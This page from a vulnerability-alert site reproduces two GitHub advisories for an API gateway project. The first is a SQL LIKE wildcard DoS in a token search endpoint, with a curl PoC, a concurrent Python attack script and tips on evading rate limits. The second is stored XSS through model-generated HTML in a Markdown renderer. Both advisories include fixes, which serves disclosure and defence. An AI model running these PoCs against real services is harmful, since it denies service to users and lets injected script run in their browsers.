Where
AND
-Infinity
0
Severity
7.1
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A SQL LIKE wildcard injection vulnerability in the /api/token/search endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.

Details The token search endpoint accepts user-supplied keyword and token parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (%, ). This allows attackers to inject patterns that trigger expensive database queries.

Vulnerable Code File: model/token.go:70 go err = DB.Where("userid = ?", userId). Where("name LIKE ?", "%"+keyword+"%"). // No wildcard escaping Where(commonKeyCol+" LIKE ?", "%"+token+"%"). Find(&tokens).Error

PoC

After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.

<img width="1636" height="659" alt="image" src="https://github.com/user-attachments/assets/55e63dcd-884d-41bc-9bea-4300ba1b50c6" />

These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:

bash A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly. curl 'http://localhost:3000/api/token/search?keyword=%&token='

<img width="491" height="350" alt="image" src="https://github.com/user-attachments/assets/c31d9639-3550-4e93-8735-fba068f56124" />

It will cause DoS.

python import requests from concurrent.futures import ThreadPoolExecutor

def attack(sessioncookie): requests.get( 'http://localhost:3000/api/token/search', params={'keyword': '%%%%%%', 'token': ''}, cookies={'session': sessioncookie}, headers={'New-API-User': '1'} )

Launch 50 concurrent malicious requests with ThreadPoolExecutor(maxworkers=50) as executor: for in range(50): executor.submit(attack, '<validsession>')

Impact Availability

RAM Overflow

<img width="1078" height="145" alt="image" src="https://github.com/user-attachments/assets/c0bb5159-6943-42bd-a9f4-5c60c57fb149" />

Postgres unavailable

<img width="772" height="185" alt="image" src="https://github.com/user-attachments/assets/245e4f59-0ec5-4f9b-a839-3c9bb61be14b" />

- Database CPU usage spike to 100% - Application memory exhaustion - Legitimate user requests blocked or significantly delayed - Potential application crash or database connection pool exhaustion

Database Performance

Testing with 2,000,000 tokens:

| Pattern | Query Time | Rows | Impact | |---------|-----------|------|--------| | test (normal) | ~50ms | 0 | Low | | % (full scan) | 5,973ms | 2,000,000 | High | | %%%%%% | 6,200ms+ | 2,000,000 | Very High |

Attack Scalability

- Single attacker: Can launch 10-50 concurrent requests easily - Multiple accounts: Attacker can register multiple accounts (if registration enabled) - Proxy rotation: IP-based rate limiting can be bypassed - Persistence: Attack can be sustained indefinitely

Resource Consumption

Each malicious request with 2M results: - Database: ~6 seconds CPU time - Network: ~200MB data transfer - Application Memory: ~200MB+ for JSON serialization - Connection Time: Database connection held for entire query duration

Exploitation Scenario

1. Attacker registers or compromises a regular user account 2. Attacker crafts malicious LIKE patterns using % wildcards 3. Attacker launches concurrent requests (50-200 concurrent) 4. Database becomes overwhelmed with slow queries 5. Application memory exhausts from processing large result sets 6. Legitimate users experience service degradation or complete unavailability

## Patch Recommendations 1. Escape LIKE Wildcards (Critical) go func escapeLike(s string) string { s = strings.ReplaceAll(s, "\\", "\\\\") s = strings.ReplaceAll(s, "%", "\\%") s = strings.ReplaceAll(s, "", "\\") return s }

func SearchUserTokens(userId int, keyword string, token string) (tokens []Token, err error) { keyword = escapeLike(keyword) token = strings.Trim(token, "sk-") token = escapeLike(token)

err = DB.Where("userid = ?", userId). Where("name LIKE ? ESCAPE '\\\\'", "%"+keyword+"%"). Where(commonKeyCol+" LIKE ? ESCAPE '\\\\'", "%"+token+"%"). Limit(1000). Find(&tokens).Error return tokens, err }

2. Add User-Level Rate Limiting go tokenRoute.GET("/search", middleware.TokenSearchRateLimit(), // 30 req/min per user controller.SearchTokens)

3. Add Query Timeout go ctx, cancel := context.WithTimeout(context.Background(), 5time.Second) defer cancel() err = DB.WithContext(ctx).Where(...).Find(&tokens).Error

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
EPSS
0.03%
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:L

Summary

A potential unsafe operation occurs in component MarkdownRenderer.jsx, allowing for Cross-Site Scripting(XSS) when the model outputs items containing <script> tag.

Details

Line 212-231 of MarkdownRenderer.jsx is unsafe, it use dangerouslySetInnerHTML to preview html the model generates. This can trigger malcious scripts.

PoC

A simple way to exploit that is to ask the model in the playground, with prompt: "请帮我写个脚本,跳转到google", and then the browser will navigate to the google.com without user interference.

Impact

Potential malcious activity to the user using playground, if the model api is altered to output unintended codes.

Also, users may not be easily rid the exploit, since the record of the chat containing XSS script is stored, once opening the page later, the script will be re-triggered.

Potential Workaround

The preview may be placed in an iframe sandbox, dangerous html strings should be purified before rendering.

---

The reply generated for test is as below:

这是一个为您编写的单页 HTML 文件。它使用了两种方式来实现跳转,以确保在任何情况下都能工作:

1. JavaScript (window.location.replace):这是最常用且高效的方法,它会立即跳转,并且不会保留当前页面在浏览器历史记录中(这样用户按“后退”键不会回到这个跳转页)。 2. HTML Meta Refresh:作为后备方案。如果用户的浏览器禁用了 JavaScript,这个标签会在 1 秒后将用户带往 Google。 3. 手动链接:页面中显示了一个备用链接,以防自动跳转被拦截或失效。

您可以直接保存以下代码为 .html 文件并在浏览器中打开。

html <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>正在跳转至 Google...</title> <!-- 方法1:HTML Meta Refresh (如果JS被禁用,1秒后自动跳转) --> <meta http-equiv="refresh" content="1;url=https://www.google.com">

<style> / 基础重置与布局 / body, html { height: 100%; margin: 0; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; background-color: #f8f9fa; color: #202124; display: flex; justify-content: center; align-items: center; }

/ 卡片容器样式 / .redirect-card { background: white; padding: 2rem 3rem; border-radius: 12px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1); text-align: center; max-width: 400px; width: 90%; }

/ 加载动画圆圈 / .spinner { border: 4px solid #f3f3f3; border-top: 4px solid #4285f4; / Google Blue / border-radius: 50%; width: 40px; height: 40px; animation: spin 1s linear infinite; margin: 0 auto 1.5rem auto; }

/ 文本排版 / h1 { font-size: 1.25rem; margin-bottom: 0.5rem; font-weight: 500; }

p { font-size: 0.95rem; color: #5f6368; margin-bottom: 1.5rem; line-height: 1.5; }

/ 手动链接样式 / .manual-link { display: inline-block; color: #1a73e8; / Google Link Blue / text-decoration: none; font-weight: 500; padding: 0.5rem 1rem; border: 1px solid #dadce0; border-radius: 4px; transition: background-color 0.2s; }

.manual-link:hover { background-color: #f1f3f4; text-decoration: underline; }

/ 动画定义 / @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> </head> <body>

<main class="redirect-card"> <!-- 视觉反馈:加载动画 --> <div class="spinner"></div> <!-- 提示信息 --> <h1>正在为您跳转</h1> <p>我们正在将您引导至 Google。<br>如果页面没有自动刷新,请点击下方的按钮。</p> <!-- 手动跳转链接 --> <a href="https://www.google.com" class="manual-link">立即前往 Google</a> </main>

<script> // 方法2:JavaScript 跳转 (推荐) // 使用 replace() 而不是 href,这样用户点击“后退”时不会死循环回到这个跳转页 (function() { // 目标地址 var targetUrl = "https://www.google.com";

// 执行跳转 window.location.replace(targetUrl); // 控制台日志(用于调试) console.log("Redirecting to: " + targetUrl); })(); </script>

</body> </html>

Acknowledgments

QuantumNous would like to thank TechnologyStar for the early notification of this potential vulnerability via AI-assisted tools, and small-lovely-cat for providing additional context and an initial patch. The final fix was developed and verified by the maintainers to ensure full compatibility with the project's architecture.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203